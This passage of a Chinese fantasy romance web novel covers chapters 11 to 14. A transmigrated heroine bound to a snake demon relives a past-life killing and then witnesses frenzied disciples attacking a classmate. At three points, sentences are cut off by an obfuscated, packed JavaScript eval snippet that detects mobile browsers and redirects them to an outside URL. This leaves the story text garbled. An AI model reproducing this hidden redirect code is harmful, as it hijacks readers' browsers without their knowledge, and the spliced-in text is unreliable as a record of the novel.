她俯身半蹲下来,周明远往后猛爬了几下,身子斜靠在无形屏障上,满眼的恐惧。 “别……别来了,我认输。” 他企图捏诀将防御屏障设在自己和阮清木之间,却因体内灵脉已然受损,几次也没能成功。 周明远几缕血线挂在嘴边,阮清木见他这幅模样有些担忧,可别因为被她捶一拳就这么死了。 刚穿进来时她曾研究过自己的灵力,因她原身是截木头,本就日日要消耗灵力来维持人形,而供养她灵力的源头便是胸膛里的那颗心,若是这颗心的灵力耗尽,她便需要寻找新的,所以之前她基本不会浪费使用自己的灵力。 自从与风宴绑定后,她便无需再考虑这些了。 只是她方才出手时,并未想那么多,以为自己还是先前那个灵力低微,遇上鬼都要绕道走的炮灰。 现在看来,风宴这么高的修为给她实在是太浪费了,她只会这种暴力的输出,不懂一点术法。 周明远咳了几声,血丝从嘴角往外涌着,眼神也逐渐涣散,身后靠着的结界陡然间消散。四周空间扭曲,他们回到了仙孰学堂的那条长廊。 夕阳的金光倏地挤了进来,将二人影子投于长廊之上。周明远原本斜靠的身子往后倒去,阮清木一把拽住他的手腕,未及多想便抬手将素白的衣袖掩住他嘴角溢出的血线。 要是将这血迹留下又不知会惹出什么麻烦。 好在药堂离这极近,阮清木抄起周明远将他搭在自己的肩上,她侧头在他耳边低声道:“不想死就管好自己的嘴。” 周明远虽意识已经模糊,但仍可以听见阮清木的话,他几乎下意识地抽搐了一下,喉间挤出声音:“不……不敢了。” 将周明远扛到药堂门前,阮清木便直接离开了。 她手捏着墨青色的剑穗,眉间凝出愁容。剑穗没送出去,也不知道这次任务失败后系统的惩罚会是什么。 血污在她这身素白的衣裙上十分显眼,为避着人,她特意绕了路,穿过僻静的小径才回的竹胥居。 直到她回到房内,合上房门的那一刻,系统都没有出现。 窗外暮色渐浓,最后一缕日光藏于山脊之后,阮清木倚着窗边,理不出半分头绪来。 难道没有惩罚? 作为道具的剑穗也并没有消失,让她重新送一次也是可以的。 正思量着,陡然间阮清木胸口一痛。 【警告:任务失败,宿主即将接受惩罚。】 系统警告在她脑中响起,阮清木甚至没来得及做出任何反应,剧痛席卷全身,她重重栽倒在地。 - 破旧小区的楼道里又传来男人歇斯底里的叫骂声,桌椅翻倒的声音响起,叶仪熟视无睹地站在门前,她半张脸埋在阴影中,听着那些不堪入耳的脏话,眼睛一眨不眨。 嘭的一声,门被猛地踹开,惯性将门狠狠砸在墙上,从里面凑出一个叼着烟头的男人,他看见站在门口的叶仪,嘴角几下抽搐,手对着她一摆。 “拿来!” 叶仪仍是毫无表情,只将身后的背包递了过去。男人嫌她动作太慢,粗暴地一把夺过,嘴里仍骂骂咧咧个不停:“一个两个的都特么把钱看得跟命一样,真草了!” 他胡乱地翻着叶仪的背包,掏了半天,终于是从包中的一个夹层内翻出两张皱皱巴巴的纸币,他啐了一口:“就特么两百?” 叶仪像没听见一样没有任何反应。 那男人草了一声直接抬脚踹在叶仪身上,她的头撞在墙上,叶仪一声闷哼,下一秒被男人死命地攥住了衣领,“再敢让老子发现你藏钱,老子把你从楼顶上丢下去。” 窒息感让叶仪额间暴出青筋,她死盯着那男人。 “还特么敢瞪老子。”他猛地一把将她推搡在地,抬手便把背包抡在她的脸上,又踹了几脚,裤兜里的手机响起,他才转身迈着大步离开。 好吵……耳边不断传来嗡鸣声,叶仪皱起眉,她抓住自己的耳朵,企图弄清楚是什么东西在她脑中这么吵。 她感觉自己就像是一块浮木,不知道会被汹涌的海水冲到哪里,又不肯放过她让她彻底沉入海底。 倒在冰冷的水泥地上缓了好久,直到屋内又传出窸窣的声响,哭喊声撕心裂肺,她皱起眉,勉强撑起身。 拾起地上的背包,她扶着门踉跄爬起,屋内传来哭声,叶仪朝着哭声传来的方向走去。 她推开门,狭小的卫生间内,男人正死死压着个七八岁女孩的后颈,将她整个脑袋按进蓄满水的洗漱池中。 一旁的老妇人跪在湿滑的地上,枯瘦的手抓在男人身上,“求求你了,你放了她,放了孩子求你!” 男人一脚踹开老人,“滚!不给老子钱今天谁特么都别想活!” 叶仪猛地呛了一口水,肺痛得像要炸开一般,她撑着洗漱台的边缘挣扎着,可男人手中加重力道。 痛……哪里都痛死了!!! 她手边胡乱地抓着,指间忽然被尖锐的东西刺到,她慌乱摸索,是一把刀。 她没有半分犹豫,抓起手中的刀就猛地刺了下去! 男人痛呼一声,叶仪死命按住他的肩膀让他动弹不得,她将刀从男人的胸口拔出,紧接着又狠戾地刺下。 “别杀我……我,我可是你的,你的亲生父亲……” 父亲? 原来这种人叫做父亲? 他咒骂着,哪怕仅剩一丝力气仍从牙缝中挤出话来:“你……杀了我,你也……” 叶仪抬起手猛然在他脸上一划。 闭嘴! 逼仄潮湿的房间里被浓厚的血腥味填满。 十八岁的叶仪跪在地上,一只膝盖死压在男人身上,眼神狠戾如同厉鬼。 他痛苦地惨叫挣扎着,胸口的血喷溅出来,身体因痛得抽搐,叶仪的双手和脸上早就被溅得鲜血淋漓,分不清是汗水还是血水,她只是麻木地一刀再一刀地刺下。 你该死你该死你该死你该死你早就该死! “……” - 月至中天,静寂无声。 风宴眸色阴沉地推开了阮清木的房门。 因为双生魂契,他感知到了阮清木此时的状态。 她正处于濒死的边缘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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风宴将自己的灵力外泄出来包裹住了她,他慢慢让她熟悉自己的神魂,一点一点,如同泠风一般,刚开始只是一缕,随即他释出更多的灵力,直到完全抓住了她。 他循序渐进地引导着她,一同跳动的心脏提醒阮清木,他们的神魂应是同频的,是相融的,是要死死纠缠的。 似乎是有所感应,阮清木的神魂不再抗拒他,甚至因为心跳的牵引,她溃散的神魂开始逐渐聚拢起来。随即又往他的神魂中钻去,她甚至依赖上了风宴的神魂。 风宴眉心蹙起,虽然他们之间连着魂契,可他并不想与她是神魂交融的太过亲密。 入魔百年来,他从未向人交出过自己的神魂。 只此一次,以后也绝对不会。 他再次将灵力释出,双生魂契的感应变强,阮清木的神魂随着他的控制找到自己应去的方向。 她掌间的咒印陡然间泛出点点荧光,顺着她的脉络游走在她的全身,最后钻进了她的心口。 阮清木终于自梦魇中挣脱出来,睁开了双眼,如溺水之人忽然得到了空气,她大口喘息。 良久,她涣散的瞳仁才逐渐聚焦,抚着自己的心口,气息平稳下来,她才注意到周身的环境。 很陌生。 她不被察觉地握着一直藏于袖中的匕首,指间用力到骨节都发白,眸间泛着冷光,视线缓缓移动,最终落在风宴的身上。 “你是谁?” 12. 第 12 章 夜风撩得烛火摇曳,将二人的影子胡乱地拍在墙上。 朦胧灯火下,风宴那双竖瞳以及布满颈间的墨色蛇鳞印在阮清木的眸中,泛着幽绿的光。他喉间带着鳞纹上下波动,神色似有些疲惫,那双极漂亮的眼眸噬人魂魄,近乎妖异的眉眼,多盯一秒都会沦陷其中。 怎么会有人长得这么奇怪?面相明明如此清俊,身上却带着鳞纹? 阮清木对着少年扬了扬下巴,“你凑过来些。” 风宴歪起头,上挑的眼睛半眯起来,好似没听懂她在说什么。 见他没什么反应,阮清木迎了上去,她好奇得伸出手,莹白的手指轻点在风宴的喉结上,鳞片摸起来冰凉滑滑的。 风宴蹙眉欲将她不老实的手抓住,可阮清木反应极快,灵巧地躲过他的攻势,一道利落的寒光随着她手中转动的匕首闪出。 一把短刃绕着她修长的手指转了几个回旋,最后横在了风宴的脖颈前。 她挑衅般地对上风宴的视线。 没有被灵体附身,也没有动用一点灵力。 风宴自眼底浮出一抹似笑非笑的冷意,这便是她藏在这副皮囊下的真正面目吗? 透过她的眼睛,风宴感受到她对自己并没有恶意,只是她还并没有完全清醒过来。 他开始好奇,处于这种状态下的阮清木最真实的一面到底是怎样的。 他缓缓道:“要杀我?” 阮清木将匕首贴着他脖颈自上而下的划过,顺着他脖间滑腻的蛇鳞,刀锋又刮蹭到了他颈间的凸起,擦过时,上下微动。 “你为什么都不怕的?”见他不为所动,阮清木忽然问道。 风宴轻笑一声:“怕?” 好像还是第一次有人问他怕不怕。 他探身凑近,颈间顶着刀锋猛然压了过来。阮清木眉心皱起,将匕首挪开,看见他脖子上没被划伤才将匕首放下。 这人怎么完全不怕死的? 她思索一瞬,忽然唇角噙起笑意,把玩着匕首,反手握刀,刀尖轻抵在他的腹部。 她紧握着刀柄,刀尖从他的腹部向上轻挑而去,在他玄衣上留下一道浅浅的痕迹,刀尖直到他胸口的位置才停下。 “那这里呢?”她开口问道。 “没杀过人吗?”风宴道。 “什么?”阮清木怔住。 腰间倏地有丝凉意。 她低头看去,不知何时出现的一条黑蛇正缠在她的腰间,两双竖瞳紧盯着她,口中吐着信子,缓慢地顺着她的腰身往上绕去。 阮清木浑身的血液都几乎凝固了。 黑蛇动作缓慢轻柔,没什么攻击性,但绕在她的腰身上的蛇鳞不经意间和她露出来的肌肤紧紧相贴,滑腻冰凉的触感冲击着她的神经。 蛇身很长,蛇尾甚至已经缠到她的腿边,擦着她的脚踝,将她的双足束起。 黑蛇继续在她身上爬着,绕过腰身,从她胸口处缠了一圈,又从背后绕过,最后挂在她的脖子上,露出个蛇头停在她心口处。 她像个死人一样,任这条蛇在她身上游走,几乎将她全身都覆上。 阮清木死盯着心口处的黑蛇,那竖瞳好像一把利刃,已经透过她的眼眸刺穿了她的胸膛。 风宴似乎是很满意她的反应,他笑着凑了过来,“刀尖只停在这里是杀不了人的。” 阮清木脸色泛白,她的手不受控制地开始发颤。 他好像在逼她出手。 阮清木向后躲着,她没杀过人,也不要杀人。 可是她仍旧没有移开刀尖,尽管手一直在抖,却不愿承认地强撑着。 “你不要以为这样可以吓得住我。”阮清木的语调明显比刚才弱掉不少。 风宴疑惑:“我没有在吓你。” 阮清木瞥了一眼仍缠在她胸前的黑蛇。 那这是在干什么? “在帮你,因为你不敢出手。”风宴那双竖瞳盯着她,“你到底是害怕它,还是更害怕杀我?” “杀了我,它就消失不见了。” 风宴盯着她惨白密着冷汗的清冷面容,忽然自心底想听她一声求饶,玩味般地往前探着身子。他往前一分,阮清木的手便向后挪一分。 绕满她全身的黑蛇也吐出信子恐吓她,露出恶相。 像初遇那一晚,求他啊。 “杀了我。”他重复道。 阮清木迟疑地看着手中顶在他心口处的匕首,指节攥得发白。 真是要疯了…… 可是再怎么说,她也下不去手啊! 犹豫间,风宴陡然将身子往前探去,刀尖瞬间就没入他的心口。阮清木喉间一紧,她记忆中男人胸口血溅喷涌的场面忽然出现。 她瞳仁猛地缩紧,男人颤抖着倒在地上,他嘴中咒骂着,求饶着,那张在她噩梦中出现过无数次丑陋骇人的脸全是猩红黏稠的血。 倒在血泊之中,血流了一地。 她杀过人,她居然杀过人。 袖中一枚剑穗蓦然被抖落出来,落在地面鲜红的血迹之上。 风宴却依旧笑着将自己身体往前送去,刀尖又没入了一些,眼底是尽是张狂乖戾,“到底是阮清木害怕,还是你在怕?” 她发颤的身子陡然顿住。 阮清木是谁?她是叶仪。 可是…… “不要再靠过来了,你真的会死的!”她声音颤抖,眼见着风宴的玄衣被鲜血浸透,顺着衣襟蜿蜒滴了一地猩红。 她看见掉在血迹之上的剑穗,记忆开始交叠,系统的声音仿佛又出现在她脑海中,以及任务失败的警告。 阮清木的名字一直在她脑子重复着。 “是阮清木不想让我死,还是你不想我死?”风宴目不转睛看着她。 对上那双泛着光的诡异妖瞳,她记起来了。那个雨夜之中问她知不知道这到底是何契约的蛇妖。 她是阮清木,她不再是叶仪了。 给温疏良送剑穗的任务失败了,她受到了系统的惩罚,所以她差点被自己最恐惧的梦魇杀死。她也记起了风宴的神魂抓住她时的感觉,在她失重坠落之时,周身的泠风将她稳稳截住,神魂碰撞的瞬间,她听见了他的心跳。 “我不想你死。” 阮清木口中喃喃道:“我不想你死……” 如果此刻手中这把刀没有插在风宴的胸口,她甚至想一把抱住他。是发自心底的一种冲动,她想抱住他,像他们神魂相贴时那样紧紧相拥地抱住他。 她手捂在风宴的伤口处,那刀正扎在心口上,血止不住地流出。 风宴盯着她的眸光,确认她的意识已经恢复了正常,有些失望得移开眼,握住她的手将匕首随意地拔出。 血溅了出来,阮清木惊呼出声:“你不痛的吗?” 他冷哼了一声,居高临下地睨着她,“我才应该问,你到底干了什么搞成这样。” 阮清木知道风宴在问什么,却没办法告诉他,只心虚地低下头,“被人欺负了呗。” 风宴没顾自己的伤势,将她拎到床上,听到她说被欺负后动作一顿,他皱起眉问道:“上次那个蠢货?” 阮清木默不作声算是默认了,她刚在榻上躺下,身后的床榻突然又往下坠了一下。 风宴贴在她身旁也躺在她的榻上,他双目阖上,神色挥之不去的疲惫,失了血色的脸更加惨白。 她偷偷伸手想查看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16128510|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他胸前的伤口,结果被一掌拦住,他眼皮都没抬,“不用管。” 少年因为倦意的声音带上一丝喑哑,“再有下次,我不会再救你。” 阮清木并没有在意他说的话,她只感觉自己想抱住风宴的那股冲动还没有消失,不知道是不是因为双生魂契的原因,她忍不住想贴近他,想再听一听他的心跳。 身体下意识地做出了反应,她倏地伸手环抱住了风宴。怀中之人的身子僵住,她却收紧自己臂弯,就这样紧紧依贴在他身旁。 心口处传来咚咚的心跳声。 她就这么抱着,就算风宴骂她,要杀她,她也不会松开手。 轻阖上眼眸,不知为何心底徒然出现一丝酸涩,她眼尾泛红,却始终没掉下一滴眼泪。就算被打得再痛,她也没有这么委屈过。 “谢谢你。”她声音小到几乎自己都听不清,“风宴。” 她第一次叫他的名字。 如果在我还是叶仪的时候能遇见你就更好了,她心中默道。虽然她清楚知道他这般帮她救她,不过是因为他们之间绑定了魂契。 好在,他没有推开她。 - 就这么搂着风宴一夜,阮清木几乎没有睡,直到清晨时她才实在太困迷迷糊糊地睡了过去。再醒来时,身旁早已不见风宴的身影。 何言照例寻她一起去上课,阮清木在房内找了一圈居然没找到昨晚掉在地上的剑穗。 所以她推测大概是任务失败被系统收回了。 在去学堂的路上时,何言迎面碰上几个修士,几人互相耳语一番便行色匆匆离开了。 “有个外门弟子昨夜惨死。”何言将事情转述给阮清木,“而且传得特别骇人,不知被何妖啃食只剩几节残肢,据说头都没有了。” 阮清木心中一沉,“知道是谁吗?” 何言摇了摇头,“外门弟子本就低人一等,但出了事情传出去仍是丢云霄宗的脸面,还是被妖族所杀,消息捂得很紧。” “而且你最该关注的不应该是,云霄宗哎,怎么会出现残害仙门弟子的大妖啊?” ……妖,蛇妖吗。 “仙门内的几大长老最近本就因为灵脉混乱之事互相推脱,估计近几日就要有大事发生咯。”何言说完偷笑起来,“最好是闹得再大点,不用上课就好了。” 这样她便有时间日日创作。 阮清木倒是不太想事情闹大,倒不是因为别的,她刚来云霄宗,之前被周明远那个死人嘲讽一番,她觉得自己确实太需要系统地学习修真体系的知识。 比如掐诀布阵这些基础的术法,她最起码是要掌握的。 又上了一节类似于理论指导的课,阮清木跟着何言来到炼器阁。她需要铸一把暂时用来练习剑道的长剑,一开始何言听说她没有自己剑时,差点惊得口水都喷出来。 “你跟你表哥不会真是进一家门的一家人吧?除了他,你是我见过第二个,这么不把剑道当回事的剑修。”她两根手指在阮清木面前晃着,一边帮她参谋打造个什么样的剑。 阮清木点了点头:“很快你就会发现我的剑术和他是一样的烂了。” 何言差点把自己笑过去,她压低声音:“那你还送他剑穗?他平时剑都找不到,你真送他了?” 一听到提起剑穗,阮清木又想起被系统惩罚的事,她没好气地回道:“扔了,他说用不着,我就随手丢了。” “早和你说了,就应该送给温疏良才对,送他的理由也合乎情理。” “送我什么?”一道爽朗的声音忽然想起。 何言同阮清木一同看向身后站在炼器堂门前的温疏良。 在他的身后还有个抱臂倚门而立的风宴。 13. 第 13 章 温疏良忽然站在她们二人身后,一副玉树临风的浩然样貌,行走间自带的傲气无时无刻地提醒旁人,他是这本书的男主。 风宴抱臂立于炼器堂的门口,不同于昨夜那身玄衣,而是套湖青色的锦衣,衣领将他窄长的脖子裹得密密实实,视觉上显得他身材瘦削,孑然而立,发带挂于肩头,他似笑非笑地看着阮清木。 “表妹也在啊?”他忽地轻飘飘开口。 阮清木原本便将视线都投在风宴身上,毕竟昨晚被神识不清的自己捅了一刀,结果听见风宴开口叫“表妹”,差点惊得她把手中正挑选的长剑掉在地上。 她连忙整理好惊慌的神情,一个甜美谄媚的笑容挂在脸上,柔声回道:“表哥,还有温师兄,好巧。” 这种谄媚的演技她还是不需要用上魅术的。 只是看见她这幅模样,风宴的眸光忽地暗了暗,倚在门前沉默着,束在他发间的发带被风吹打在他侧脸。 何言却啧了一声,心道这对不会用剑的表兄妹能在炼器堂碰上也是够稀奇的。 阮清木又随手拿了一柄长剑,一提起,她着实讶异这剑的重量,差不多有七八斤重,双手提着都费力,一旁温疏良自然地从她手中接过。 “表妹是初学剑道吗?这柄对你来说确实太重了,选个趁手点的,等你挑好自己的本命剑后,自会与剑融为一体。到时提剑便不会这般费力了。” 阮清木:“……” 温疏良,居然跟着风宴一起喊她表妹? 这俩人有这么熟吗? 不过仔细想来,两次遇见温疏良,风宴都在场,二人之间彼此交谈看起来称兄道弟的,应该是关系不错的吧…… 她嗯了一声,算是回应温疏良那句“表妹”。 何言忽然开口:“温师兄剑术这么厉害,旁日里来教教我们呗,能得师兄提点,定然比那些迂腐的长老教得还要好。” 阮清木微阖上眼,可千万别让她那个系统听见。 “自然是没问题,但近些时日我恐怕会少在仙门,只怕会耽误你们平日练习。”温疏良笑着回道。 好嘛,人家已经婉拒了好么。 “表妹想学什么自然有我教,师兄有他的要紧事要做。”风宴不知何时已经立身于她们身后,幽幽地开口。 他将阮清木方才刚脱手的剑拿在手中,竟也像模像样地挽了几下,随后又没意思地将剑丢回。 “对吧?”风宴对着阮清木问道。 鬼知道这二人今天是怎么了,全都一口一个表妹的叫着,阮清木不甘示弱回了句:“哥哥说的是。” 然后脑子就被系统滴了一声,在警告她不要乱叫人哥哥…… 阮清木老实了,心口处的半颗心猛然激烈跳动,全然没注意到风宴僵直的身子。 温疏良和一旁的器修言语着,从储物囊中掏出一桌子的灵器灵物,又交代一番,特意说明了炼化的要求。 其实他也不过是近日才与风宴熟络起来,之前只算是泛泛之交,恰巧上次救了他这表妹,私下里又聊了几次。风宴听说他最近要炼化的灵器缺了几样灵材,便慷慨相助,他本着出山再寻灵材,眼下有了现成的,便接下了。 一来二去,二人倒成了相谈甚欢的好友。 交代完,温疏良一回头,正瞧见风宴怔神的模样,那双狭长的眼睛正直勾勾落在他这表妹身上。 他不动声色将这对表兄妹留意着。 阮清木只道低头挑着趁手的长剑,面前拢共摆了五六道漆木匣子。她上辈子哪有机会摸到这些,只会耍一些短刀,用来吓唬人,练着玩的。 到最后,挑花了眼,她便从一个匣中捡起一柄细窄长剑,“就这个吧。” 费用自然还是记在…… “表妹既然挑好,便一起算在我这吧。”温疏良忽然接过话,一时间,场上余下三人都愣在原地。 何言的双眼简直都要冒光了。 身为话本子创作者,她当即敏锐地去观察这表兄妹的反应,可还没等看清风宴神色,一声巨响,直接砸穿了炼器堂的屋顶。 那声巨响来得突兀,还以为是突然降下惊雷将这炼器堂劈开了,众人尚未做出反应,第二声巨响接踵而至,一道人影像沙包般被直直丢了进来,骤然间烟尘四起,整个炼器堂都被这两声震得颤动。 烟尘之中有人影在地上蠕动,离得近的几个修士连忙凑了过去查看。 “让开!”云渡珩厉声喝道,她忽然闪身闯进炼器堂,提剑径直朝着烟雾之中劈了下去。 烟尘中徒然涌出的黑气直接挡下她的剑气。 堂内的修士皆怔在原地,随即一哄而起。 不得了了,仙门之中出现魔物了,连云渡珩的剑都能接下! 一时间拔剑的拔剑,结阵的结阵,好不容易有魔物自己送上门来,自然是兴奋的不得了。 可那烟尘间的两道人影挡下剑后,几乎一瞬便掠出了炼器堂,速度快到惊人,只留下原地余烟。 温疏良与风宴对上视线,闪身便追了出去。 何言抬手便拉着阮青木同在场七八个修士跟着跑出了炼器堂。仙门内的炼器堂拢共有四个,按位置划分,所以此时堂内的人并不多。一时引起轰乱,但毕竟都是有一身修为的内门弟子,眼下早已镇静下来,一心放在那遁走的魔物身上。 当然,何言除外,她算是看热闹不嫌事大的。 可是出了炼器堂后,提着剑的几个修士便全停在原地,不再上前。 只因那与云渡珩交战的并未是什么魔物,而是同他们一样,竟是云霄宗的弟子。 而离云渡珩不远处一个人影正被团团围住,他提剑格挡,气力涤荡,却始终收着灵力,不想伤人。但架不住将他围住的人实在是太多,一记剑气刺入,他肩头涌出一道鲜血。 阮清木看清那人,是炎昀。 他血气一散开,周身泛着黑气的修士像是着了魔一般,手中的剑往外一甩,直接徒手扒上炎昀的身,对着他肩上流出的鲜血开始抢夺。 原本和云渡珩纠缠的二人闻到血气也掉头奔着炎昀掠去。 温疏良猛地贴近,如狂风般四散的灵压顿时携起肃杀之气,他连剑都没持,掌中随手带起的灵力便如利刃直接割在几个暴乱的弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16128511|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。 仙门内规矩凡是云霄宗的弟子不论是何身份,都不可对同门出手。所以原本在炼器堂内摩拳擦掌的弟子一冲出来就停在原地。 仙门规矩不可违背。 但温疏良不同。 原本他自幼悟道时因灵根不显,一开始只是个太华宗的外门弟子,太华的名号在玄虞大陆上只算是个名不见经传的小宗门,而就连这小宗门,他都只能做人家的外门洒扫弟子。 但是他天命却不绝于此,十五岁出山时,在归墟海境中遇到云霄宗的祝奇徽,彼时恰逢祝奇徽破元婴的雷劫,刚好就把温疏良劈出了风灵根。他也借此机会直接当场拜祝奇徽为师,祝奇徽只试了他两招,便将他带回仙门,做了云霄宗的内门弟子。 至此温疏良便从炼气一路破境到元婴,现下已成为祝奇徽的门下第一大弟子。 旁人要守的规矩,在他和云渡珩身上不存在,这是仙门内大家都默认的事实。 转眼间就撂倒两名弟子,温疏良又转瞬闪至炎昀的身后,将他背后缠着的几个弟子拎了下来。 但这几名暴乱的弟子沾上血之后明显更加难缠,侧身避开几招攻势后,又如魔物般重新围上。 阮清木在一旁围观,她扫了一圈,没见着风宴的身影。 不知为何,她总觉得这些暴动的修士身上全都带着说不出的感觉,尤其是在那几个沾上炎昀的血后,一种能牵动她灵脉的冲动涌入她的体内,她攥紧拳头,总担心自己下一秒便会和那几个修士一样忽然发狂。 温疏良手中捏诀布阵,金光骤现,他驱动着阵法,几道金色的符咒瞬间锁在那几名修士的身上。 可是他身后却还落下一个身影,那人似箭般朝着炎昀猛扑过去,如猛兽般张开血口就咬在他的肩上。 骤然间,一抹剑气直取那修士的心口,云渡珩手中长剑直直刺穿了那弟子的胸膛。 一时间,在场所有人都陷入死寂。 就算云渡珩是云氏宗脉真传弟子,也不能杀及同门。 身旁的何言都倒吸一口冷气,她呆立在那,同场上的几名提剑的修士一样,被云渡珩这一剑彻底吓懵了。 今日谁都不知道这群修士是何原因忽然发疯,若又是因为什么灵脉混乱导致修士们忽然走火入魔,那很难保证下一个忽然发狂的不会是自己。 若下一个轮到自己,也会被当场一剑毙命吗? 阮清木一言不发地盯着温疏良,自从和风宴绑定后,她五感极其的敏锐,应是借了风宴的力。在场其他人可能没有看清,可她却看得清清楚楚。 温疏良捏诀布阵时,身体瞬移,看起来在那一瞬间,他是故意留下一人在他身后,且方向正对着炎昀。 她心中一沉,脚步不自觉地倒退半步,后背忽然抵住一人的胸膛。 她侧过头,不知何时没了身影的风宴赫然出现在她身后。 剑从肉身中拔出的闷声响起,云渡珩拔出长剑,眼前那发了狂的修士顿时倒地。 温疏良灵力汇拢,金色符咒猛然锁紧将那几名修士紧紧捆住。他转身淡然开口,语气轻松:“都散了吧。” 14. 第 14 章 温疏良虽语气淡然,但神色间不容分说地警告着余下几个弟子:今日之事都记着关好自己的嘴。 炼器堂门前持剑的几名修士纷纷将灵剑收回掌中,虽然亲眼看见同门被杀的惊惶并未平息,但温疏良的命令他们更是不敢不听,一个一个扭头走得飞快。 云渡珩拢回自己的长剑,冷漠地从脚下那具尸身踏过,径直向炎昀走去。她蹙着眉,仔细地查看炎昀肩上的伤势。 他肩头衣襟染红了一片,先是被剑气割伤,又被那发了狂的修士撕咬,肩处已然是血肉模糊。 炎昀向后退了一步,避开云渡珩的手,“师姐,无碍。” 他垂下眼眸看着倒在他面前的那具尸身,“我会去向玄影道君请罪,今日是我失手杀害了同门师弟,自愿领罚。” 云渡珩脸色一变,她的手仍悬在半空没有落下,见了炎昀肩处的伤势更是忍不住的怒意:“人是我杀的,与你有何关系?” 她执意要查看炎昀的伤处,越是躲她,她越是在意。云渡珩想释出一道定身术,炎昀突然抬手,一根手指轻搭在她手上。 冰凉的指尖触在她的手背。 “小姐。”他抬眼对上云渡珩担忧的视线,眸光清冷如白梨花,“小姐不必为我做到这种程度,这种伤我自己去药堂便可处理。” 他唤她,小姐。 云渡珩初次遇见他时,是在妖域的无瞳妖城中。那年是云渡珩第一次出山捉妖,性子鲁莽自负,本想着在那次出山时展露锋芒。却没想到,妖没抓住一只,她反倒先中了妖族的圈套,还受了伤。 碍于面子,她不肯与同门的师兄们联络,就在那妖城中徘徊躲藏。血腥气引来无瞳的妖鬼,她几日没有休息,一时面对那些突袭的妖鬼,连剑都持不起来。 可就在她陡然后悔自己没有早早联络师兄的那一瞬间,一只全身如火焰般的赤色大鸟挡在她的身前,羽翼挥舞,几缕火光打在无瞳妖的身上,吓退了那群妖鬼。 他收回羽翼,转身揽在云渡珩因恐惧而颤抖的身上。 那是云渡珩此生见过最漂亮的鸟,通体如焰火般赤红羽翼,偶有几片掺杂着黑色的羽毛,瞳仁如宝石般璀璨。 妖域中浑浊血腥的气味好像一瞬间都消失了,赤鸟身上淡淡的郁花香气将她包围。 她身子一直在颤,眼睛却死盯着他。 他以为是自己忽然出现吓坏了她,歪头思索一瞬,将自己的身形变小,展开翅膀低飞在云渡珩的身旁,绕了几圈,终于落于她的肩头。 云渡珩茫然地抬起手,也不知这鸟是不是妖族,就鬼使神差地将他从肩头捧至脸前。 她指尖沿着他的羽翼从他全身划过,赤鸟抖了几下身子,好似很不适应。 可她却笑了。 赤鸟知晓了她来妖域的目的,几日相处下来,他帮她成功捉到了几只无瞳妖鬼,云渡珩总算是找回些颜面回仙门。临走时,她问肩头的赤鸟愿不愿意和她回云霄宗。 赤鸟斜靠在她肩上,听见此话,忽然展开羽翼飞到云渡珩的面前。 云渡珩望向他挥舞着的翅膀,虽然他通体都是的血红色羽毛,翅膀间却又带着几缕黑色纹路,十分显眼。 似乎是在告诉她,他的血脉不纯,不适合跟她一起回去。 她回绝了同路一起回云霄宗的师兄弟,带着赤鸟去了一个安全的寨子暂住。在寨子中,云渡珩唤出自己的本命剑,欲将自己的心头血渡给那赤鸟。 她云渡珩想要的东西,无论什么原因都不会拦住她。 只要将这心头血注入,这鸟就算是她的灵宠。就算血脉不纯又如何,她就是想要将他带回去。 见她居然将自己的心头血渡出,赤鸟惊得震动翅膀,急得他在屋内飞了几圈,最终实在僵持不下,他收回羽翼,灵力聚在他周身发出红色流光,赤鸟幻化成一袭红衣的少年。 他站在云渡珩的面前,比她还要高出一头,却蹙着眉,嗓音清冷:“小姐,我跟你回去,莫要再浪费这心头血了。” 他唤她,小姐。 云渡珩冷不丁被他这幅样貌惊得说不出话来,她指尖颤抖地指着他,竟然…… 竟然生得这么好看的一张脸…… 他说他叫炎昀,原本是脱离于玄虞大陆,是神界的灵鸟。 说到这时他眸光忽然黯淡,并未说他一个神鸟是如何掉落凡间,又堕落于妖域。但他毕竟在妖界待了太久沾了妖气,所以羽翼变黑。可是云渡珩不在乎,何止是不在乎,她甚至不再想让他做自己的灵宠。 她要他做自己的师弟。 她让他叫自己一声“师姐”,可是炎昀却很固执地唤她:“小姐。” 大概是真的把自己当做她的灵宠了。 可云渡珩没想到除魔卫道、浩然正气的修仙弟子会因为他是个灵族对他倚强凌弱。 几个修士骗他云渡珩在妖域身陷险境,引他去提前设好的禁境之中,里面全是修为高绝的大妖。 他在禁境中杀了三天,最后撑剑跪在地上看见云渡珩安然无恙时,带血的嘴角噙着笑:“小姐,你没事就好。” 那几个弟子被逐出了云霄宗,可是炎昀却重伤了灵脉,体内的灵力就算再多也难以支撑他原本的样貌。就连化作十三四岁少年的模样,已经是尽力为之了。 云渡珩心中愧疚,对他越来越好,甚至担心他又被欺负,便与他相处得更为亲近。可是炎昀却变了,他开始对她避而不见,甚至不再唤她小姐。如果实在避不开,也只一句:“云师姐。” 思绪回迁,云渡珩盯着炎昀肩头的伤口怔在原地,她讶异于那一声“小姐”。 悬在空中许久的手终于缓缓握紧,随后慢慢放下。 